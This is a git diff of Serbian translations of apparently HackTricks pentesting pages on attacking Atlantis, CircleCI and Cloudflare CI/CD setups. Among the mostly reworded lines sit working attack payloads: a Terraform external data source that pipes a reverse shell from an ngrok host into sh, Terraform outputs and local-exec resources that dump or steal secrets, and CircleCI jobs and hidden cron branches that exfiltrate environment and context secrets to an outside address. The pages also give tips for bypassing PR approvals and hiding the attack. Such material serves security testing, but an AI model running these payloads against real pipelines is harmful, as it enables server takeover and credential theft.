-[**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje da se kreira korisnik na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge.
+Međutim, da bi pristupio repozitorijumima na tim platformama i izvršio akcije, potrebno je da ima određeni **privilegovan pristup** (barem prava za pisanje).\
+[**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje kreiranje korisnika na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge.
> [!WARNING]
> U svakom slučaju, iz perspektive napadača, **Atlantis nalog** će biti veoma **interesantan** **za kompromitovanje**.
#### Webhooks
-Atlantis koristi opcionalno [**Webhook tajne**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhookovi** koje prima sa vašeg Git hosta **legitimni**.
+Atlantis koristi opcionalno [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhook-ovi** koje prima sa vašeg Git hosta **legitimni**.
-Jedan način da to potvrdite bio bi da **dozvolite zahteve da dolaze samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Tajne.
+Jedan način da to potvrdite bio bi da **dozvolite zahteve samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Secret-a.
Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete da izložite webhook krajnje tačke internetu.
> [!WARNING]
-> Atlantis će **izlagati webhookove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**.
+> Atlantis će **izlagati webhook-ove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**.
#### Provider Credentials
@@ -43,10 +43,10 @@ Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete
Atlantis pokreće Terraform jednostavno **izvršavajući `terraform plan` i `apply`** komande na serveru **na kojem je Atlantis hostovan**. Baš kao kada pokrećete Terraform lokalno, Atlantis treba kredencijale za vaš specifični provajder.
-Na vama je kako [obezbeđujete kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantsu:
+Na vama je kako ćete [obezbediti kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantis-u:
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) imaju svoje mehanizme za kredencijale provajdera. Pročitajte njihovu dokumentaciju.
-- Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup API-ju oblaka aplikacijama koje se na njima pokreću, npr:
+- Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup cloud API-ju aplikacijama koje se na njima pokreću, npr:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pretražite "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Mnogi korisnici postavljaju promenljive okruženja, npr. `AWS_ACCESS_KEY`, gde se Atlantis pokreće.
@@ -58,9 +58,9 @@ Na vama je kako [obezbeđujete kredencijale](https://www.runatlantis.io/docs/pro
#### Web Page
-Podrazumevano, Atlantis će pokrenuti **web stranicu na portu 4141 na localhostu**. Ova stranica samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava da se stvari menjaju, tako da nije toliko korisna).
+Po defaultu, Atlantis će pokrenuti **web stranicu na portu 4141 na localhost-u**. Ova stranica vam samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava modifikaciju, tako da nije previše korisna).
-Verovatno je nećete naći izloženu internetu, ali izgleda da podrazumevano **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **podrazumevani**).
+Verovatno je nećete naći izloženu internetu, ali izgleda da po defaultu **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **default**).
### Server Configuration
@@ -82,14 +82,14 @@ Vrednosti se **biraju u ovom redosledu**:
Neke konfiguracije utiču na **kako se upravlja repozitorijumima**. Međutim, moguće je da **svaki repo zahteva različite postavke**, tako da postoje načini da se specificira svaki repo. Ovo je redosled prioriteta:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti da specificira kako atlantis treba da tretira repo. Međutim, podrazumevano neke ključeve nije moguće specificirati ovde bez nekih zastavica koje to omogućavaju.
+1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti za specificiranje kako atlantis treba da tretira repo. Međutim, po defaultu, neki ključevi se ne mogu specificirati ovde bez nekih zastavica koje to omogućavaju.
1. Verovatno je potrebno da bude dozvoljeno zastavicama kao što su `allowed_overrides` ili `allow_custom_workflows`.
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Možete je proslediti sa zastavicom `--repo-config` i to je yaml koji konfiguriše nove postavke za svaki repo (regexi su podržani).
-3. **Podrazumevane** vrednosti.
+3. **Default** vrednosti.
**PR Protections**
-Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od strane nekog drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spajivo`** (zaštite grane su prošle) **pre nego što se izvrši apply**. Sa stanovišta bezbednosti, preporučuje se postaviti obe opcije.
+Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od nekoga drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spreman za spajanje`** (zaštite grane su prošle) **pre nego što pokrenete apply**. Sa sigurnosnog stanovišta, preporučuje se postavljanje obe opcije.
U slučaju da je `allowed_overrides` True, ova podešavanja mogu biti **prepisana u svakom projektu putem datoteke `/atlantis.yml`**.
@@ -128,16 +128,16 @@ Zatim, možete dozvoliti **atlantis.yaml** datoteci svakog repozitorijuma da **s
Atlantis podržava pokretanje **server-side** [**conftest**](https://www.conftest.dev/) **politika** protiv izlaza plana. Uobičajeni slučajevi korišćenja ovog koraka uključuju:
-- Odbijanje korišćenja liste modula.
-- Potvrđivanje atributa resursa u trenutku kreiranja.
-- Hvatanje nenamernih brisanja resursa.
-- Sprečavanje bezbednosnih rizika (npr. izlaganje sigurnih portova javnosti).
+- Odbijanje korišćenja liste modula
+- Potvrđivanje atributa resursa u trenutku kreiranja
+- Hvatanje nenamernih brisanja resursa
+- Sprečavanje sigurnosnih rizika (npr. izlaganje sigurnih portova javnosti)
-Možete proveriti kako to konfigurisati u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Možete proveriti kako da to konfigurišete u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
-[**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantisa:
+[**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantis-a:
```bash
# Get help
atlantis help
@@ -165,7 +165,7 @@ atlantis apply [options] -- [terraform apply flags]
> [!WARNING]
> Ako tokom eksploatacije naiđete na ovu **grešku**: `Error: Error acquiring the state lock`
-Možete to popraviti pokretanjem:
+Možete je popraviti pokretanjem:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
@@ -174,7 +174,7 @@ atlantis plan -- -lock=false
Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis plan`** (ili možda se automatski izvršava) **moći ćete da RCE unutar Atlantis servera**.
-Možete to uraditi tako što ćete [**naterati Atlantis da učita spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku:
+Možete to uraditi tako što ćete [**Atlantis učitati spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -195,27 +195,27 @@ Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_exte
- U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Umesto** kreiranja **PR za master** da pokrenete Atlantis, **napravite 2 grane** (test1 i test2) i kreirajte **PR od jedne do druge**. Kada završite napad, samo **uklonite PR i grane**.
-#### Atlantis plan Secrets Dump
+#### Atlantis plan Dump Tajni
-Možete **dumpovati tajne koje koristi terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku:
+Možete **dumpovati tajne korišćene od strane terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-#### Atlantis apply RCE - Modifikacija konfiguracije u novom PR-u
+#### Atlantis primenjuje RCE - Izmena konfiguracije u novom PR-u
Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis apply`, moći ćete da RCE unutar Atlantis servera**.
Međutim, obično ćete morati da zaobiđete neke zaštite:
-- **Mergeable**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR spojiv** (što znači da zaštita grane mora biti zaobiđena).
+- **Mogućnost spajanja**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR moguć za spajanje** (što znači da zaštita grane mora biti zaobiđena).
- Proverite potencijalne [**zaštite grane zaobilaženja**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply`
+- **Odobreno**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply`
- Po defaultu možete zloupotrebiti [**Gitbot token da zaobiđete ovu zaštitu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Pokretanje **`terraform apply` na malicioznom Terraform fajlu sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-Samo treba da se pobrinete da neki payload poput sledećih završi u `main.tf` fajlu:
+Samo se pobrinite da neki payload poput sledećih završi u `main.tf` fajlu:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -235,7 +235,7 @@ Sledite **preporukama iz prethodne tehnike** da izvršite ovaj napad na **diskre
#### Terraform Param Injection
-Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće ispod, možete proslediti komande terraformu iz atlantisa komentarišući nešto poput:
+Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće u pozadini, možete proslediti komande terraform-u iz atlantis-a komentarišući nešto poput:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Nešto što možete proći su env varijable koje mogu biti korisne za zaobilaženje nekih zaštita. Proverite terraform env varijable u [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-#### Custom Workflow
+#### Prilagođeni tok rada
-Pokretanje **malicious custom build commands** specificiranih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\
+Pokretanje **malicious custom build commands** navedenih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\
Ova mogućnost je pomenuta u prethodnom odeljku:
> [!CAUTION]
-> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, radni tokovi mogu biti **specificirani** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da **prepiše radni tok** koji će se koristiti.
+> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, tokovi rada mogu biti **navedeni** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da bi se **zaobišao tok rada** koji će se koristiti.
>
> Ovo će u osnovi dati **RCE na Atlantis serveru bilo kojem korisniku koji može pristupiti toj repozitoriji**.
>
@@ -272,7 +272,7 @@ Ova mogućnost je pomenuta u prethodnom odeljku:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
+#### Zaobilaženje plan/apply zaštita
Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allowed_overrides` _konfigurisana_ sa `apply_requirements`, moguće je da repozitorija **modifikuje plan/apply zaštite da ih zaobiđe**.
```yaml
@@ -286,13 +286,13 @@ Ako neko pošalje **`atlantis plan/apply` komentare na vašim validnim pull zaht
Štaviše, ako nemate podešeno u **zaštiti grane** da traži da se **ponovo proceni** svaki PR kada se **novi commit pošalje** na njega, neko bi mogao da **napisuje zloćudne konfiguracije** (proverite prethodne scenarije) u terraform konfiguraciji, pokrene `atlantis plan/apply` i dobije RCE.
-Ovo je **podešavanje** u Github zaštitama grana:
+Ovo je **podešavanje** u Github zaštitama grane:
.png>)
#### Webhook Secret
-Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlantis komande** direktno.
+Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlatis komande** direktno.
#### Bitbucket
@@ -300,7 +300,7 @@ Bitbucket Cloud **ne podržava webhook secrets**. Ovo bi moglo omogućiti napada
- To znači da bi **napadač** mogao da napravi **lažne zahteve ka Atlantis-u** koji izgledaju kao da dolaze iz Bitbucket-a.
- Ako specificirate `--repo-allowlist`, onda bi mogli samo da lažiraju zahteve koji se odnose na te repozitorijume, tako da bi najveća šteta koju bi mogli da naprave bila planiranje/aplikacija na vašim repozitorijumima.
-- Da biste to sprečili, dozvolite [IP adrese Bitbucket-a](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese).
+- Da biste to sprečili, dozvolite [Bitbucket-ove IP adrese](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese).
### Post-Exploitation
@@ -325,7 +325,7 @@ Ako radite na javnom repozitorijumu (što nije preporučljivo, vidi iznad), ne b
#### `--repo-allowlist`
-Atlantis zahteva da navedete listu dozvoljenih repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer:
+Atlantis zahteva da navedete allowlist repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer:
- Specifični repozitorijumi: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Cela vaša organizacija: `--repo-allowlist=github.com/runatlantis/*`
@@ -336,17 +336,17 @@ Ova zastavica osigurava da vaša Atlantis instalacija nije korišćena sa repozi
#### Protect Terraform Planning
-Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da exfiltrira vaše akreditive.
+Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da eksfiltrira vaše akreditive.
Da biste to sprečili, mogli biste:
1. Ugraditi provajdere u Atlantis sliku ili hostovati i odbiti izlaz u produkciji.
2. Implementirati protokol za registraciju provajdera interno i odbiti javni izlaz, tako da kontrolišete ko ima pristup za pisanje u registru.
-3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira upotrebu zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde.
+3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira protiv korišćenja zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde.
#### Webhook Secrets
-Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli da šalju zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na listi dozvoljenih. Webhook secrets osiguravaju da webhook zahtevi zapravo dolaze od vašeg VCS provajdera (GitHub ili GitLab).
+Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli slati zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na allowlisti. Webhook secrets osiguravaju da webhook zahtevi zaista dolaze od vašeg VCS provajdera (GitHub ili GitLab).
Ako koristite Azure DevOps, umesto webhook secret-a dodajte osnovno korisničko ime i lozinku.
@@ -356,7 +356,7 @@ Azure DevOps podržava slanje osnovnog autentifikacionog header-a u svim webhook
#### SSL/HTTPS
-Ako koristite webhook secrets, ali je vaš saobraćaj preko HTTP-a, tada bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice.
+Ako koristite webhook secrets, ali je vaš saobraćaj preko HTTP-a, onda bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice.
#### Enable Authentication on Atlantis Web Server
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index ad5ba8365..4d3aff4e5 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -9,7 +9,7 @@
### Permissions
**CircleCI** **nasleđuje dozvole** sa github-a i bitbucket-a vezane za **nalog** koji se prijavljuje.\
-U svojim testiranjima proverio sam da, sve dok imate **dozvole za pisanje nad repozitorijumom na github-u**, moći ćete da **upravljate postavkama projekta u CircleCI** (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...).
+U svom testiranju sam proverio da, sve dok imate **dozvole za pisanje nad repozitorijumom na github-u**, moći ćete da **upravljate postavkama projekta u CircleCI** (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...).
Međutim, potrebno je da budete **admin repozitorijuma** kako biste **pretvorili repozitorijum u CircleCI projekat**.
@@ -39,7 +39,7 @@ command: echo $SECRET
environment:
SECRET: A secret
```
-Možete ih deklarisati u čistom tekstu unutar **build-job environment**:
+Možete ih deklarisati u čistom tekstu unutar **build-job okruženja**:
```yaml
jobs:
build-job:
@@ -59,8 +59,8 @@ SECRET: A secret
```
#### Tajne informacije projekta
-Ovo su **tajne** koje će biti **pristupačne** samo **projektu** (kroz **bilo koju granu**).\
-Možete ih videti **deklarisane na** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+Ovo su **tajne** koje će biti **pristupačne** samo **projektu** (bilo kojoj **grani**).\
+Možete ih videti **deklarisane u** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
@@ -69,19 +69,19 @@ Možete ih videti **deklarisane na** _https://app.circleci.com/settings/project/
#### Tajne informacije konteksta
-Ovo su tajne koje su **šire organizacije**. Po **defaultu, svaka repo** će moći da **pristupi bilo kojoj tajni** koja je ovde smeštena:
+Ovo su tajne koje su **šire organizacije**. Po **defaultu, svaka repo** će moći da **pristupi bilo kojoj tajni** koja je ovde pohranjena:
.png>)
> [!TIP]
> Ipak, imajte na umu da se može **izabrati drugačija grupa** (umesto svih članova) kako bi se **pristup tajnama dao samo određenim osobama**.\
-> Ovo je trenutno jedan od najboljih načina da se **poveća sigurnost tajni**, da se ne dozvoli svima da im pristupaju, već samo nekim ljudima.
+> Ovo je trenutno jedan od najboljih načina da se **poveća sigurnost tajni**, da se ne dozvoli svima da im pristupe, već samo nekim ljudima.
### Napadi
#### Pretraga tajni u čistom tekstu
-Ako imate **pristup VCS-u** (kao što je github), proverite datoteku `.circleci/config.yml` svake **repo na svakoj grani** i **pretražite** potencijalne **tajne u čistom tekstu** koje su tamo smeštene.
+Ako imate **pristup VCS-u** (kao što je github), proverite datoteku `.circleci/config.yml` svake **repo na svakoj grani** i **pretražite** potencijalne **tajne u čistom tekstu** pohranjene tamo.
#### Tajne varijable okruženja i enumeracija konteksta
@@ -95,7 +95,7 @@ Proverom koda možete pronaći **sva imena tajni** koja se koriste u svakoj `.ci
> [!CAUTION]
> Funkcionalnost "**Import Variables**" omogućava **uvoz varijabli iz drugih projekata** u ovaj. Stoga, napadač bi mogao **uvoziti sve projektne varijable iz svih repo** i zatim **ekstrahovati sve njih zajedno**.
-Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuskacija u base64 će ekstrahovati tajne u **web log konzoli radnih tokova**:
+Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuscating ga u base64 će ekstrahovati tajne u **web log konzoli radnih tokova**:
```yaml
version: 2.1
@@ -143,7 +143,7 @@ jobs:
```
#### Ekstraktovanje Tajni Konteksta
-Morate **navesti ime konteksta** (ovo će takođe ekstraktovati tajne projekta):
+Morate da **navedete ime konteksta** (ovo će takođe ekstraktovati tajne projekta):
```yaml
version: 2.1
@@ -163,7 +163,7 @@ jobs:
- exfil-env:
context: Test-Context
```
-Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **modifikovati radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na spoljašnju adresu**:
+Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **modifikovati radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na eksternu adresu**:
```yaml
version: 2.1
@@ -197,9 +197,9 @@ context: Test-Context
#### Bekstvo u Cloud
**CircleCI** vam daje opciju da pokrenete **svoje buildove na njihovim mašinama ili na svojim**.\
-Po defaultu, njihove mašine se nalaze u GCP-u, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na **svojim mašinama (potencijalno, u cloud okruženju)**, mogli biste pronaći **cloud metadata endpoint sa zanimljivim informacijama**.
+Po defaultu, njihove mašine se nalaze u GCP, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na **svojim mašinama (potencijalno, u cloud okruženju)**, mogli biste pronaći **cloud metadata endpoint sa zanimljivim informacijama**.
-Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete **zatražiti da pokrenete VM mašinu** (koja može imati različite cloud dozvole):
+Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete **tražiti da pokrenete VM mašinu** (koja može imati različite cloud dozvole):
```yaml
jobs:
exfil-env:
@@ -219,7 +219,7 @@ steps:
- setup_remote_docker:
version: 19.03.13
```
-#### Persistence
+#### Persistencija
- Moguće je **napraviti** **korisničke tokene u CircleCI** za pristup API krajnjim tačkama sa korisničkim pristupom.
- _https://app.circleci.com/settings/user/tokens_
@@ -227,9 +227,9 @@ version: 19.03.13
- _https://app.circleci.com/settings/project/github/\/\/api_
- Moguće je **dodati SSH ključeve** u projekte.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- Moguće je **napraviti cron zadatak u skrivenoj grani** u neočekivanom projektu koji **leak** sve **context env** varijable svakog dana.
-- Ili čak napraviti u grani / izmeniti poznati zadatak koji će **leak** sve kontekste i **tajne projekata** svakog dana.
-- Ako ste vlasnik github-a, možete **dozvoliti neproverene orbe** i konfigurisati jedan u zadatku kao **backdoor**.
-- Možete pronaći **ranjivost za injekciju komandi** u nekom zadatku i **injektovati komande** putem **tajne** menjajući njenu vrednost.
+- Moguće je **napraviti cron zadatak u skrivenoj grani** u neočekivanom projektu koji **curi** sve **context env** varijable svakog dana.
+- Ili čak napraviti u grani / izmeniti poznati zadatak koji će **curiti** sve kontekste i **tajne projekata** svakog dana.
+- Ako ste vlasnik github-a, možete **dozvoliti neproverene orbe** i konfigurisati jedan u zadatku kao **zadnja vrata**
+- Možete pronaći **ranjivost injekcije komandi** u nekom zadatku i **injektovati komande** putem **tajne** menjajući njenu vrednost
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 36b2c8a54..fe342a95f 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -8,7 +8,7 @@ U Cloudflare nalogu postoje neka **opšta podešavanja i usluge** koja se mogu k
## Websites
-Pregledajte svaku sa:
+Pregledajte svako sa:
{{#ref}}
cloudflare-domains.md
@@ -18,7 +18,7 @@ cloudflare-domains.md
- [ ] U **`Transfer Domains`** proverite da li nije moguće preneti bilo koji domen.
-Pregledajte svaku sa:
+Pregledajte svako sa:
{{#ref}}
cloudflare-domains.md
@@ -47,8 +47,8 @@ Na svakom Cloudflare radniku proverite:
- [ ] Okidače: Šta pokreće radnika? Može li **korisnik poslati podatke** koji će biti **korišćeni** od strane radnika?
- [ ] U **`Settings`**, proverite za **`Variables`** koje sadrže **osetljive informacije**
- [ ] Proverite **kod radnika** i tražite **ranjivosti** (posebno na mestima gde korisnik može upravljati unosom)
-- Proverite za SSRF-ove koji vraćaju označenu stranicu koju možete kontrolisati
-- Proverite XSS-ove koji izvršavaju JS unutar svg slike
+- Proverite za SSRFs koji vraćaju označenu stranicu koju možete kontrolisati
+- Proverite XSS koji izvršavaju JS unutar svg slike
- Moguće je da radnik komunicira sa drugim internim uslugama. Na primer, radnik može komunicirati sa R2 bucket-om koji čuva informacije dobijene iz unosa. U tom slučaju, potrebno je proveriti koje mogućnosti radnik ima nad R2 bucket-om i kako bi to moglo biti zloupotrebljeno iz korisničkog unosa.
> [!WARNING]
@@ -70,7 +70,7 @@ TODO
## Security Center
-- [ ] Ako je moguće, pokrenite **`Security Insights`** **skaniranje** i **`Infrastructure`** **skaniranje**, jer će **istaknuti** zanimljive informacije **u vezi sa sigurnošću**.
+- [ ] Ako je moguće, pokrenite **`Security Insights`** **skaniranje** i **`Infrastructure`** **skaniranje**, jer će **istaknuti** zanimljive informacije **vezane za sigurnost**.
- [ ] Samo **proverite ove informacije** za bezbednosne pogrešne konfiguracije i zanimljive informacije
## Turnstile
@@ -93,7 +93,7 @@ cloudflare-zero-trust-network.md
## Notifications
-- [ ] Proverite **obaveštenja.** Ova obaveštenja se preporučuju za sigurnost:
+- [ ] Proverite **obaveštenja.** Ova obaveštenja se preporučuju za bezbednost:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,7 +113,7 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
-- [ ] Proverite sve **destinacije**, jer može biti **osetljivih informacija** (osnovna http autentifikacija) u webhook URL-ovima. Takođe se pobrinite da webhook URL-ovi koriste **HTTPS**
+- [ ] Proverite sve **odredišne tačke**, jer može biti **osetljivih informacija** (osnovna http autentifikacija) u webhook URL-ovima. Takođe se pobrinite da webhook URL-ovi koriste **HTTPS**
- [ ] Kao dodatnu proveru, mogli biste pokušati da **imitirate Cloudflare obaveštenje** trećoj strani, možda možete nekako **ubaciti nešto opasno**
## Manage Account
